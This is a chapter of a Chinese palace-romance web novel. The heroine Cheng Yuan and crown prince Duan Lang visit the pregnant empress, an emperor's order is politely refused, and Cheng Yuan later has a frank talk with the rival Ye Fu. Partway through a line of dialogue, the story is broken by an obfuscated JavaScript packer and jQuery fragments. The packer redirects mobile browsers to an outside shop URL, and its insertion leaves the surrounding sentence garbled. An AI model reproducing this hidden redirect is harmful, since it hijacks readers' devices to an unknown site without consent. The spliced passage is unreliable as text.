第二日,程鸢艰难地睁开眼,侧头看着身旁呼吸平稳的俊美男子。
她赌气地撅起了嘴,侧身搂着他的腰,朝着他粉白的薄唇吻了上去,一顿泄愤的撕咬。
段琅皱眉轻嘶了一声,没睁眼,反而搂住她的腰,用力搂得更近了些。
“怎的了?”
好不容易等她稍稍消了气,段琅才得了机会轻声询问。
“爷骗子,爷为别人守身如玉去了。”
程鸢说着,气得不停地挠他。
段琅略思索了一刻,才抵着她额头轻笑。
“傻袅袅,再馋也得等国殇过后。”
程鸢面上一红,恼羞成怒地用脑袋在他额头上磕了一下。
“谁馋了!”
“好好好,爷馋,爷馋死了。”
程鸢听着他诱哄的声音,扑面而来的温热气息熏得她迷离了双眼。
程鸢眨了眨眼,看着他揶揄的目光,脸颊一热,掀开被子爬了起来。
“爷快些起,说好要去见母后的。”
段琅头疼看着她慌张的模样,长臂一伸把她捞了回来。
“天还未亮,母后还未起身呢。”
程鸢听了这话才停止了挣扎,“爷可别忘了。”
“放心吧,派了人去坤宁宫传话,母后醒了便立马来报。”
话音刚落,外头青山的声音传了进来,“殿下,皇后娘娘醒了,正想着见您。”
程鸢抿唇一笑,“看来母后也想我们了。”
段琅这次无法拒绝了,起身伺候她穿衣裳。
宫装比郡主常服要更加繁美一些,腰部是以腰封佩戴,腰封面前缀着许多玉珠编织而成的链条,穿插挂在身前,走动起来发出泠泠仙音,清脆悦耳。
程鸢轻轻抬脚踢了踢裙摆,听到那声音又响了起来,笑得眉眼弯弯。
段琅噙着笑,看她可爱的模样,抱臂立在一旁,由得她玩。
善禧从门外敲门进来,一进内室便看到程鸢身上粉嫩的颜色,而立在一旁的太子殿下满眼欢喜,好像没察觉出有任何不妥。
她顿时头疼地轻声提醒,“殿下,国殇穿不得艳丽的颜色。”
程鸢恍然,连忙解开腰封,“爷怎的拿这衣服给我?”
“袅袅不是喜欢?”
段琅说完便侧身让位,披着松松垮垮的衣裳往外殿走去。
程鸢看着他离去下意识想跟上,善禧嬷嬷挡在了身前。
程鸢停了脚步,“多亏嬷嬷提醒。”
善禧笑着拿了件素白的裙装给她穿上。
“公主勿要担心,太后与帝后一家面合心不合,皇上怕刚登基引起非议,这国殇他也是不想办的。”
程鸢抿唇,“是了,先太子殿下是太后嫡子,不喜也是应当的。”
善禧给她整理了下衣裳,领着她往外头走去。
“都怪奴婢不曾与殿下说过,太后是继后,并非先太子嫡母,但也和敦肃皇后同出一支,年轻的时候手段也没少多少。”
程鸢了然,也没再问,快步朝着坐在外殿上的玄衣男子走去。
“爷今日这颜色袅袅还未见过呢,不过爷穿着也是极适合,更衬得爷肤色赛雪。”
段琅头疼地拉着她往坤宁宫走去。
“男子白净有何用?”
程鸢煞有其事地点头,搂着他手臂笑得娇俏。
“爷白白的,袅袅喜欢。”
段琅勾着笑斜了她一眼,也没有阻止,只顺着她的步伐走着,免得她小小一个人,跟不上又和你闹。
善禧跟在背后,看着这一幕,她轻叹一声,眼里满是担忧遗憾。
皇宫极大,从东到西走了约莫小半个时辰。
主殿宫女太监端着托盘进进出出,里头也隐约传来一些说话的声音。
程鸢想了想松开了段琅的手,也显得稍稍正经些。
屋内几人已经坐在桌前,延安帝也在。
气氛有些尴尬,程鸢进去行了礼才朝着皇后走过去。
“母后今日可好?”
皇后早就盼着她俩来,一见到人立马伸手拉着她不放。
“好好好,母后好好的,看到你们健健康康的,母后就放心了。”
程鸢拉着她的手顺势坐下,才朝着坐在皇后另一侧的叶拂点头示意。
程鸢看着她凸起的小腹,含笑问道:“母后,袅袅可以摸一摸吗?”
皇后失笑,拉着她的手贴在小腹上。
“现在还早,小家伙还没睡醒呢。”
程鸢有些惊奇,又怕惊扰了它,便也收回手,给她布菜。
“母后如今口味可有改变?”
皇后看着她忙活不停的模样,也是十分心疼怜爱。
“袅袅坐下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952023|214170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如今多的是宫女太监,还能伺候不好母后了?”
两人你一言我一语,让一旁坐着的两人只能默默低头吃饭。
“今日长乐宫收拾好,你搬过去。”
原本温情的气氛顿时冷却了下来。
程鸢安慰地捏了捏皇后的手。
“袅袅谢父皇关心,可是袅袅第一回当公主,许多还不适应,想着多与哥哥请教一番,还请父皇准许。”
此话一出,众人面色各异。
皇后轻咳了两声,压着嘴角开口解围。
“袅袅说得极是,长乐宫是工部带头修容,难免失了心意,暂且在旁处住着。”
叶拂听了程鸢的话,古怪地看了她一眼,又低下了头吃着菜,沉默不语。
只见段琅笑得没个正形,“袅袅说得极是,父皇可莫要扰了我与妹妹培养感情。”
延安帝没吭声,只低头两口喝完粥,把筷子扔在桌面上,起身大步离去。
几人行礼送行后,才相视而笑。
“走了好,走了我们一起好好吃个饭。”
皇后这才转了视线看着段琅,眼睛逐渐沁满了眼泪。
程鸢识趣地起身,先行前往安宁宫。
叶拂随后跟上,略走了几步之后,才叫住了程鸢。
“你生气吗?”
程鸢不明,“我生何气?”
叶拂在她身侧,与她并肩而行,“占了你太子妃的名头,你永远也进不了东宫。”
程鸢摇了摇头,“皇上不会让一个身上有污点的人当太子妃,也不会让一个不能生育的人当。”
叶拂愕然,“你……你既然知晓怎么还不离开?”
程鸢回首朝她嫣然一笑,“因为段琅爱我,他不会让我受委屈的。”
叶拂筹谋已久,突然在这一刻泄尽。
她嘴角泛起一丝苦涩的笑意,“你是想让我知难而退么?”
“我只不过是陈述一个事实。”
叶拂看着程鸢的面庞,突然有些知晓为什么段琅会喜欢她了。
她娇气不矫情,她聪明会借力。她永远不会为了自己商户女的身份而自卑。
“程鸢,我本没有勇气状告生父,但是我觉得你说得是对的。”
“叶拂,出生不能自己决定,可未来由你自己掌握。不要为了糊在腿上的烂泥置气,自轻自贱不可取。”